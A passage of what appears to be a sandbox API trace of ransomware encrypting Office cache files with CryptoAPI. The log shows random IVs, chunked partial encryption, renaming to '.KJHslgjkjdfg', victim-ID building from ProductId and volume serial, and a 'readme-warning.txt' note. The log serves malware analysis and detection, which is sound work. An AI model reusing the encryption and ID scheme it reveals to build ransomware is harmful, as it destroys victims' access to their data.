liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.221] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.221] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.221] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.221] SetEndOfFile (hFile=0x124) returned 1 [0136.225] GetProcessHeap () returned 0x2a0000 [0136.225] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0136.225] GetProcessHeap () returned 0x2a0000 [0136.225] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.225] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.kjhslgjkjdfg")) returned 1 [0136.226] CloseHandle (hObject=0x124) returned 1 [0136.226] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0136.226] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.232] GetProcessHeap () returned 0x2a0000 [0136.232] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.232] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.232] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.232] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.232] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.232] GetProcessHeap () returned 0x2a0000 [0136.232] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0136.232] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0136.232] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.232] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0136.235] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.235] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.235] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.235] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.235] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.235] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.235] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.235] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.236] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x750, lpOverlapped=0x0) returned 1 [0136.236] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x750, dwBufLen=0x750 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x750) returned 1 [0136.236] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.236] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x750, lpOverlapped=0x0) returned 1 [0136.236] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.236] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.236] SetEndOfFile (hFile=0x124) returned 1 [0136.239] GetProcessHeap () returned 0x2a0000 [0136.239] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0136.239] GetProcessHeap () returned 0x2a0000 [0136.239] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.239] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0136.240] CloseHandle (hObject=0x124) returned 1 [0136.240] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0136.240] GetProcessHeap () returned 0x2a0000 [0136.240] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.240] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.240] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0136.240] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.240] GetProcessHeap () returned 0x2a0000 [0136.240] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0136.240] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.240] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0136.240] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.241] GetProcessHeap () returned 0x2a0000 [0136.241] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0136.241] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.241] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0136.241] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.241] GetProcessHeap () returned 0x2a0000 [0136.241] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0136.241] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.241] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0136.241] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.241] GetProcessHeap () returned 0x2a0000 [0136.241] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0136.241] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.241] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0136.241] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.241] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0136.242] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0136.242] RegCloseKey (hKey=0x124) returned 0x0 [0136.242] GetProcessHeap () returned 0x2a0000 [0136.242] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0136.242] GetProcessHeap () returned 0x2a0000 [0136.242] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0136.242] GetProcessHeap () returned 0x2a0000 [0136.242] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0136.242] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.242] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0136.242] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.242] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0136.242] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0136.242] GetProcessHeap () returned 0x2a0000 [0136.242] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0136.243] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0136.243] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0136.243] GetProcessHeap () returned 0x2a0000 [0136.243] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0136.243] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0136.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.243] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0136.244] CloseHandle (hObject=0x124) returned 1 [0136.245] GetProcessHeap () returned 0x2a0000 [0136.245] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0136.245] GetProcessHeap () returned 0x2a0000 [0136.245] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0136.245] GetProcessHeap () returned 0x2a0000 [0136.245] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0136.245] GetProcessHeap () returned 0x2a0000 [0136.245] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.245] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0136.245] GetProcessHeap () returned 0x2a0000 [0136.245] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0136.245] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0136.245] GetProcessHeap () returned 0x2a0000 [0136.245] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0136.245] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0136.248] GetProcessHeap () returned 0x2a0000 [0136.248] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0136.248] GetProcessHeap () returned 0x2a0000 [0136.248] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0136.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.249] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=4095519) returned 1 [0136.249] GetProcessHeap () returned 0x2a0000 [0136.249] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.249] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.249] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.250] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x1, lpOverlapped=0x0) returned 1 [0136.252] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0136.252] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.252] GetProcessHeap () returned 0x2a0000 [0136.252] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.252] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0136.252] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.252] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0136.252] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0136.252] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0136.253] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0136.253] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.253] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0136.253] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0136.253] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.253] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.253] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.264] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.267] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.267] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.268] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.268] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.268] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.268] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.283] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.286] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.286] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.287] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.287] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.288] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3a7e20, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.288] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.298] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.300] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3a7e20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.300] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.301] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.301] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, 